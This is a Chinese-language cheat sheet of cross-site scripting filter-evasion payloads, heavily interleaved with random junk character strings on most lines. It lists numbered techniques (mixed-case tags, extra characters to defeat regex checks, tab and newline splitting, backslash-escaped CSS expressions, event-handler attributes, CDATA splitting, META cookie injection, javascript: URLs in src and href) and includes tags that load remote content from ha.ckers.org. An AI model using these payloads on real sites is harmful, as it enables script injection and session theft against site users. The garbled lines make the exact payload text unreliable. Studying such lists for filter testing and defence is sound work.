1. 改变字符大小写
% ]6 q& F( e3 @2 a+ }' c6 E4 f* l% H6 {# W0 D' W: d8 }- V
! G& q8 e2 [) O8 t
- L6 w2 P8 \' N4 |7 p4 x
<sCript>alert(‘d’)</scRipT>4 F5 u* ]* N' J
& r' \' a" {" R1 x; V6 M
2. 利用多加一些其它字符来规避Regular Expression的检查8 ?% z) j* \9 |: y
7 N9 N1 U1 d, k <<script>alert(‘c’)//<</script>
0 k' Y0 [: _: o9 D1 w9 m: a: B2 Y% q; U, I. ?' o) R! V' a
<SCRIPT a=">" SRC="t.js"></SCRIPT>0 n' l, q: A% K% Z$ Y; A; k
8 B! h( d; o% _# G1 P2 s2 z
<SCRIPT =">" SRC="t.js"></SCRIPT>% y8 l* k" M4 a9 H. ~( R% A) I* r
5 `/ `0 g# ?' x/ H <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
( ?9 K; O: r7 l* j& n
4 ~) d! Q- n/ K2 k3 F4 ?) ^1 N <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>% J' ]3 c& M2 j) ?5 t7 D: v# \
6 y% ~1 e" m6 T# L
<SCRIPT a=`>` SRC="t.js"></SCRIPT>. V/ S. b/ C* K% ?$ J. T
" z% r9 J, M9 u
<SCRIPT a=">’>" SRC="t.js"></SCRIPT>
, U @) Z+ X! G( k: b/ s4 | h
; `" d, K+ x z3. 以其它扩展名取代.js. N' c7 v; _/ G0 H# x3 ]
; Z) @, R1 X5 b/ X
<script src="bad.jpg"></script>' B5 v7 T+ Q; S$ Z
8 k7 p6 D" {9 @/ \ ~4. 将Javascript写在CSS档里
' |# l' G) y& Y9 [" e6 _5 K. m& @# i" Q6 }
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
5 `" ?3 D" v! P. j9 T$ F V. I z8 O0 r2 C5 Y( H0 k
example:
: I# ?( D- E3 O0 x8 Q
3 V8 E$ w7 W0 x) z; O9 Z( n r0 V body {% |( [: s3 W% ^# b# v; ` s
! N0 m; p A. m& z3 ^ background-image: url(‘javascript:alert("XSS");’)
" @) L4 g0 o9 u# \0 p/ w! `8 S! l0 z, ~- Y# r6 W, `
}
) H' ?- x/ d, m1 P. B% g! D- V& t F! p0 u$ n) O8 A7 y( O+ o
5. 在script的tag里加入一些其它字符* a! }) p3 d: x& Z8 P! K
' p, E% J9 {7 ]( p7 h
<SCRIPT/SRC="t.js"></SCRIPT>- u7 b, L, [7 P1 A$ }- d0 I" X8 T
: E6 H6 d8 W* x) ~+ t7 i5 I9 ~
<SCRIPT/anyword SRC="t.js"></SCRIPT>
5 D p4 ?) s1 ]' ^/ m H0 D; \! F
' w6 `0 h( `! o4 ?6. 使用tab或是new line来规避
7 A3 R7 b# n3 l: [
N, O/ E/ z# P! o1 W' T% Q <img src="jav ascr ipt:alert(‘XSS3′)">" d; p3 d3 Q x$ j' F: @
3 I* n; X# _+ |% M5 l
<img src="jav ascr ipt:alert(‘XSS3′)">
B v0 }; N1 x- D7 G/ \! y, p7 B" v4 d- |+ S4 @7 `
<IMG SRC="jav ascript:alert(‘XSS’);">
- K0 V( b) m, _7 U/ Y' d$ i, d2 s/ U$ Z/ u
-> tag
: m+ t }8 C4 u9 r* C! P% u
; ~9 @ j* K2 T; H" i* U -> new line/ s& \/ u3 ^7 K# w
, R2 m2 W9 T+ }! ]4 g9 q7. 使用"\"来规避
9 x& y* P! u; z: X
( A6 k) z. R7 y9 G; \9 C <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
: [5 r0 l! g# `& x! z
) G, O W- `: j1 K4 D <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>; _& m# w6 d% K0 \
- h- H0 F' [6 p* h6 E p/ [ <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
) W7 l/ o) m" `- |2 H5 U; a0 x. F7 G2 ?
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">) f3 h7 r4 x; b. d# k
5 L" D: x% J/ i; i. V <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
, s. @4 `# j/ N4 E* W$ S5 d7 m* {( L+ L
8. 使用Hex encode来规避(也可能会把";"拿掉)! W$ u; H+ Q7 k3 ^
" K7 O# _! A7 i' V <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
' S7 x" K8 d$ q, b; @0 }
+ I% P) u l) o$ e2 P& B% O 原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
* z8 m: V8 H+ G* B' `
5 l2 W; `) U( X0 n$ U/ M; n <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">1 r6 ]/ r+ w5 ~* r& z" E
7 q; C/ @/ [) b/ ~ 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">: [' L# k% M2 H5 D
|, i' a! E9 r5 G; |
9. script in HTML tag. F# Z' g) M3 u: H4 b# o
& X" a4 G. `; i, ~. T) A$ d' z
<body onload=」alert(‘onload’)」>/ }* F0 r/ X$ ?7 j! A* I
+ J0 \3 P3 U) K5 |8 S
onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload3 C0 s& Y, Z: D; w! @
+ X6 n5 `' M& l" F J- A
10. 在swf里含有xss的code; R; x4 |( Z- A( E$ C- ^! L5 V
& r* v6 L6 p* B V/ f
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>6 U! ?5 d: a4 x. C6 C- E
6 w: L9 F) N( F% I11. 利用CDATA将xss的code拆开,再组合起来。
! g2 e+ v% {4 q! y
( f; F2 L* L+ g% D& ?/ q <XML ID=I><X><C>
- n2 g# e( O( N/ z- ]
# J6 a x1 T6 U' c1 | <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>1 \ \1 S3 V: i) W+ U- T4 q
1 ^- I) X9 l8 W3 x! M, d& b
</C></X>+ [ l/ D4 q `/ e
: ~& p: `& @) w! R
</xml>
+ v$ K2 A/ ^8 `+ w
+ F. I/ U. z- J) K <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>$ D6 ~* [/ y1 Z# J
3 v/ f* c! E) I( t( p% T Z4 `
<XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>* J9 @6 ^6 U; c! R9 \
3 ]' {2 _- e$ f1 S$ @. B% V
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>9 ]1 ^, A! A5 ^
, N# [. P- ]. c; q! w9 U
12. 利用HTML+TIME。. Z6 B# p9 |1 h0 t5 I2 \, u
# v6 l) C% `* w2 u. J5 K H
<HTML><BODY>
# o K. p/ R0 H- n' j |! `
) R( W O& M6 o; v0 w6 T <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
$ R# K [; Z" w4 t) G0 c( i- M
( E* x* x& d" P5 v: v <?import namespace="t" implementation="#default#time2">
5 O c/ P+ P. O2 g v. @
_" I d0 V1 O* J6 m. q& i9 v <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
. T+ ^% k" }3 x8 G9 V# L: d+ _- E
# d& |$ N% ]' d" a0 x g& \% I </BODY></HTML>, J. \- z0 I6 q _
+ u" [6 Y* } ~7 n8 w; z" o
13. 透过META写入Cookie。
6 V3 ?- u2 p1 D4 N/ v9 B& V; P3 q8 R/ T. x
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
, V" c& p# x; P
6 L* v" H( M9 _5 j14. javascript in src , href , url
! l$ k) \- {! E0 U# n: L0 d+ H- M
<IFRAME SRC=javascript:alert(’13′)></IFRAME>
5 F: H' |/ l5 n9 P& H
; A: D" x1 B! ]/ E' N) ]$ z <img src="javascript:alert(‘XSS3′)">+ t. m4 B5 S0 v0 S
: U& `+ M: T8 W# I3 R' ]8 x, A<IMG DYNSRC="javascript:alert(‘XSS20′)">2 b# U3 t6 Y* ^+ N
2 O* @+ J! X- r+ B' S <IMG LOWSRC="javascript:alert(‘XSS21′)">/ e d" z9 F' W- c- V
- H1 s/ K, Q5 h6 o- A' k5 K V <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">4 [% R7 P' R0 _ _! q# F( U0 I
. m7 X: T- @( d, O <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>9 y7 t5 p! s& t- ~9 q( h& ~: U
; R+ V5 {# Y; x$ Y+ n <TABLE BACKGROUND="javascript:alert(‘XSS29′)">6 O0 _0 W, S, {
" y9 B8 q" W+ o7 Z <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
5 Y; y4 g" O6 C5 c" a4 ^1 S' D7 g$ A6 H, P$ T
<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}' p# D$ n3 u! ], |0 s
# P7 }& }: D! O. e) r8 B4 h# E
</STYLE><A CLASS=XSS></A>
3 |; [: q6 f; c- C
. _; _) @! F6 C+ c. n <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>8 O. b0 ^* _3 Q$ h
. A; F: I' ~2 p, G' k2 Y
|